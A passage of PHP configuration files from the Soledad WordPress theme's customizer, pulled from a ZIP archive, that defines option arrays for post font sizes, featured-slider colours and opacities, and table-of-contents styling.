		'magazine-2'       => __( 'Magazine Style 2', 'soledad' ),
		'standard-grid'    => __( '1st Standard Then Grid', 'soledad' ),
		'standard-grid-2'  => __( '1st Standard Then Grid 2 Columns', 'soledad' ),
		'standard-list'    => __( '1st Standard Then List', 'soledad' ),
		'standard-boxed-1' => __( '1st Standard Then Boxed', 'soledad' ),
		'classic-grid'     => __( '1st Classic Then Grid', 'soledad' ),
		'classic-grid-2'   => __( '1st Classic Then Grid 2 Columns', 'soledad' ),
		'classic-list'     => __( '1st Classic Then List', 'soledad' ),
		'classic-boxed-1'  => __( '1st Classic Then Boxed', 'soledad' ),
		'overlay-grid'     => __( '1st Overlay Then Grid', 'soledad' ),
		'overlay-list'     => __( '1st Overlay Then List', 'soledad' )
	)
);

$options[] = array(
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Stop Overwrite Post Page Template', 'soledad' ),
	'description' => __( 'keep the same content as the page assigned is Posts Page', 'soledad' ),
	'id'          => 'penci_overwrite_post_page',
	'type'        => 'soledad-fw-toggle',
);

return $options;PK     0w\yNkR  kR  C  customizer/config/sections/penci_section_spost_fontsize_section.phpnu [        <?php
$options                = [];
$options[]              = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Font Size for Categories', 'soledad' ),
	'id'       => 'penci_single_cat_font_size',
	'ids'      => array(
		'desktop' => 'penci_single_cat_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]              = array(
	'id'       => 'penci_single_title_font_msize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[]              = array(
	'label'    => __( 'Font Size for Post Title', 'soledad' ),
	'id'       => 'penci_single_title_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '30',
	'ids'      => array(
		'desktop' => 'penci_single_title_font_size',
		'mobile'  => 'penci_single_title_font_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '30',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[]              = array(
	'label'    => '',
	'id'       => 'penci_single_subtitle_font_msize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[]              = array(
	'label'    => __( 'Font Size for SubTitle', 'soledad' ),
	'id'       => 'penci_single_subtitle_font_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_single_subtitle_font_size',
		'mobile'  => 'penci_single_subtitle_font_msize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$opt_single_title_fsize = array(
	'psingle_title_size_s3'  => esc_html__( 'Font Size for Post Title on Style 3', 'soledad' ),
	'psingle_title_size_s4'  => esc_html__( 'Font Size for Post Title on Style 4', 'soledad' ),
	'psingle_title_size_s5'  => esc_html__( 'Font Size for Post Title on Style 5', 'soledad' ),
	'psingle_title_size_s6'  => esc_html__( 'Font Size for Post Title on Style 6', 'soledad' ),
	'psingle_title_size_s7'  => esc_html__( 'Font Size for Post Title on Style 7', 'soledad' ),
	'psingle_title_size_s8'  => esc_html__( 'Font Size for Post Title on Style 8', 'soledad' ),
	'psingle_title_size_s9'  => esc_html__( 'Font Size for Post Title on Style 9', 'soledad' ),
	'psingle_title_size_s10' => esc_html__( 'Font Size for Post Title on Style 10', 'soledad' ),
);
foreach ( $opt_single_title_fsize as $opt_single_title_fsize_id => $opt_single_title_fsize_label ) {
	$options[] = array(
		'default'  => '',
		'sanitize' => 'absint',
		'label'    => '',
		'id'       => $opt_single_title_fsize_id . '_mobile',
		'type'     => 'soledad-fw-hidden',
	);
	$options[] = array(
		'default'  => '',
		'sanitize' => 'absint',
		'label'    => __( $opt_single_title_fsize_label, 'soledad' ),
		'id'       => $opt_single_title_fsize_id,
		'ids'      => [
			'desktop' => $opt_single_title_fsize_id,
			'mobile'  => $opt_single_title_fsize_id . '_mobile',
		],
		'type'     => 'soledad-fw-size',
		'choices'  => array(
			'desktop' => array(
				'min'  => 1,
				'max'  => 100,
				'step' => 1,
				'edit' => true,
				'unit' => 'px',
			),
			'mobile'  => array(
				'min'  => 1,
				'max'  => 100,
				'step' => 1,
				'edit' => true,
				'unit' => 'px',
			),
		),
	);
}
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Meta', 'soledad' ),
	'id'       => 'penci_single_meta_font_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_meta_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 300,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
for ( $x = 1; $x < 7; $x ++ ) {
	$default   = 26 - ( $x * 2 );
	$options[] = array(
		'label'       => '',
		'description' => '',
		'id'          => 'penci_single_title_h' . $x . '_size_mobile',
		'type'        => 'soledad-fw-hidden',
		'sanitize'    => 'absint',
	);
	$options[] = array(
		'label'    => __( 'Font Size for H' . $x . ' inside Post Content', 'soledad' ),
		'id'       => 'penci_single_title_h' . $x . '_size',
		'type'     => 'soledad-fw-size',
		'sanitize' => 'absint',
		'default'  => $default,
		'ids'      => array(
			'desktop' => 'penci_single_title_h' . $x . '_size',
			'mobile'  => 'penci_single_title_h' . $x . '_size_mobile',
		),
		'choices'  => array(
			'desktop' => array(
				'min'     => 1,
				'max'     => 100,
				'step'    => 1,
				'edit'    => true,
				'unit'    => 'px',
				'default' => $default,
			),
			'mobile'  => array(
				'min'  => 1,
				'max'  => 100,
				'step' => 1,
				'edit' => true,
				'unit' => 'px',
			),
		),
	);
}
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_single_title_p_size_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size Text Inside Post Content', 'soledad' ),
	'id'       => 'penci_single_title_p_size',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_single_title_p_size',
		'mobile'  => 'penci_single_title_p_size_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
		'mobile'  => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Blockquote', 'soledad' ),
	'id'       => 'penci_single_blockquote_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_blockquote_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Blockquote Author', 'soledad' ),
	'id'       => 'penci_single_blockquoteauthor_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_blockquoteauthor_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Tags', 'soledad' ),
	'id'       => 'penci_single_tags_font_size',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_tags_font_size',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Share Box', 'soledad' ),
	'id'       => 'penci_single_share_box_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_single_share_box_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize'    => 'sanitize_text_field',
	'label'       => esc_html__( 'Author Box', 'soledad' ),
	'id'          => 'penci_section_fauthor_box',
	'description' => __( 'Please check <a class="wp-customizer-link" target="_blank" href="https://soledad.pencidesign.net/soledad-document/#author-box">this guide</a> to know how to setup Author Box', 'soledad' ),
	'type'        => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Author Name', 'soledad' ),
	'id'       => 'penci_authorbio_name_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_authorbio_name_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Author Description', 'soledad' ),
	'id'       => 'penci_authorbio_desc_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_authorbio_desc_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Author Social Icons', 'soledad' ),
	'id'       => 'penci_authorbio_social_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_authorbio_social_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Next/Previous Posts', 'soledad' ),
	'id'       => 'penci_authorbio_nextprev_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'The "previous post", "next post" Text', 'soledad' ),
	'id'       => 'penci_prevnextpost_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_prevnextpost_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles on Prev/Next Posts', 'soledad' ),
	'id'       => 'penci_prevnextpost_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_prevnextpost_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Related Posts & Comments', 'soledad' ),
	'id'       => 'penci_relatedpost_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '18',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Sections Heading', 'soledad' ),
	'id'       => 'penci_rltcomment_heading_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_heading_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles on Related Posts', 'soledad' ),
	'id'       => 'penci_rltcomment_post_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_post_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Date on Related Posts', 'soledad' ),
	'id'       => 'penci_rltcomment_post_date_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_post_date_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Stars Rating', 'soledad' ),
	'id'       => 'penci_rltcomment_rating_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_rating_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Rating Title', 'soledad' ),
	'id'       => 'penci_rltcomment_ratingt_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_ratingt_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Comment Author Name', 'soledad' ),
	'id'       => 'penci_rltcomment_cmauthor_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmauthor_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);
$options[] = array(
	'default'  => '12',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Comment Date', 'soledad' ),
	'id'       => 'penci_rltcomment_cmdate_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmdate_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '12',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Comment Content', 'soledad' ),
	'id'       => 'penci_rltcomment_cmcontent_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmcontent_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '11',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Reply/Edit Text', 'soledad' ),
	'id'       => 'penci_rltcomment_cmreplyedit_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_cmreplyedit_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '11',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Inputs on Comment Form', 'soledad' ),
	'id'       => 'penci_rltcomment_input_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_input_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '14',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Submit Button on Comment Form', 'soledad' ),
	'id'       => 'penci_rltcomment_submit_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_submit_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for GDPR message & "Save my name, email.." Text', 'soledad' ),
	'id'       => 'penci_rltcomment_gdrp_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltcomment_gdrp_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Related Posts Popup', 'soledad' ),
	'id'       => 'penci_relatedpostpopup_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '16',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Heading', 'soledad' ),
	'id'       => 'penci_rltpopup_heading_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_heading_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'default'  => '15',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Titles', 'soledad' ),
	'id'       => 'penci_rltpopup_title_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_title_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '15',
		),
	),
);
$options[] = array(
	'default'  => '13',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Post Date', 'soledad' ),
	'id'       => 'penci_rltpopup_date_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_rltpopup_date_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '13',
		),
	),
);

$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Smart Lists', 'soledad' ),
	'id'       => 'penci_smartlists_fsize',
	'type'     => 'soledad-fw-header',
);

$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Items Number', 'soledad' ),
	'id'       => 'penci_smartlists_inumber_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_inumber_fsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_smartlists_heading_mfsize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Items Heading', 'soledad' ),
	'id'       => 'penci_smartlists_heading_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_heading_fsize',
		'mobile'  => 'penci_smartlists_heading_mfsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_smartlists_text_mfsize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Items Text', 'soledad' ),
	'id'       => 'penci_smartlists_text_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_text_fsize',
		'mobile'  => 'penci_smartlists_text_mfsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_smartlists_btn_mfsize',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'label'    => __( 'Font Size for Buttons', 'soledad' ),
	'id'       => 'penci_smartlists_btn_fsize',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_smartlists_btn_fsize',
		'mobile'  => 'penci_smartlists_btn_mfsize',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '',
		),
	),
);

return $options;
PK     0w\?a1    C  customizer/config/sections/penci_section_fslider_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'       => __( 'Featured Slider Overlay Color', 'soledad' ),
	'description' => __( 'This option just apply for some featured slider styles has overlay color', 'soledad' ),
	'id'          => 'penci_featured_slider_overlay_bg',
	'default'     => '#000000',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Featured Slider Overlay Color Opacity', 'soledad' ),
	'id'       => 'penci_featured_slider_overlay_bg_opacity',
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'label'    => __( 'Featured Slider Hover Overlay Color Opacity', 'soledad' ),
	'id'       => 'penci_featured_slider_overlay_bg_hover_opacity',
	'type'     => 'soledad-fw-select',
	'default'  => '0.9',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'label'       => __( 'Center Box Background Color', 'soledad' ),
	'id'          => 'penci_featured_slider_box_bg_color',
	'description' => __( 'This option just apply for featured slider styles 1, 2, 3, 35, 36', 'soledad' ),
	'default'     => '#000000',
	'sanitize'    => 'sanitize_hex_color',
	'type'        => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Center Box Opacity', 'soledad' ),
	'id'       => 'penci_featured_slider_box_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	),
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field'
);
$options[] = array(
	'label'    => __( 'Post Category Color', 'soledad' ),
	'id'       => 'penci_featured_slider_cat_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Category Hover Color', 'soledad' ),
	'id'       => 'penci_featured_slider_cat_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Title Post Color', 'soledad' ),
	'id'       => 'penci_featured_slider_title_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Title Post Hover Color', 'soledad' ),
	'id'       => 'penci_featured_slider_title_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_featured_slider_meta_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Excerpt Color', 'soledad' ),
	'id'       => 'penci_featured_slider_excerpt_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Post Format Icons Color', 'soledad' ),
	'id'       => 'penci_featured_slider_icon_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Overlay Color for Slider Style 29 & 30', 'soledad' ),
	'id'       => 'penci_featured_slider_color_29',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Overlay Opacity for Slider Style 29 & 30', 'soledad' ),
	'id'       => 'penci_featured_slider_overlay_opacity29',
	'type'     => 'soledad-fw-select',
	'default'  => '0.3',
	'sanitize' => 'penci_sanitize_choices_field',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'label'    => __( 'Color of Line on Slider Style 29 & 30', 'soledad' ),
	'id'       => 'penci_featured_slider_lines_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Color Button Text & Button Border on Slider Style 29, 30, 35, 36', 'soledad' ),
	'id'       => 'penci_featured_slider_button_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Background Color Hover of Buttor on Slider Style 29, 30, 35, 36, 38', 'soledad' ),
	'id'       => 'penci_featured_slider_button_hover_bg',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'Text Color Hover of Buttor on Slider Style 29, 30, 35, 36, 38', 'soledad' ),
	'id'       => 'penci_featured_slider_button_hover_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);

return $options;
PK     0w\ aw&  &  =  customizer/config/sections/pencidesign_toc_styles_section.phpnu [        <?php
$options = [];
/* Font Size */
$options[] = array(
	'default'  => 'none',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Font Sizes', 'soledad' ),
	'id'       => 'penci_toc_heading_fsize',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'label'    => '',
	'id'       => 'penci_toc_heading_mfs',
	'type'     => 'soledad-fw-hidden',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading Text', 'soledad' ),
	'id'       => 'penci_toc_heading_fs',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'ids'      => array(
		'desktop' => 'penci_toc_heading_fs',
		'mobile'  => 'penci_toc_heading_mfs',
	),
	'choices'  => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 100,
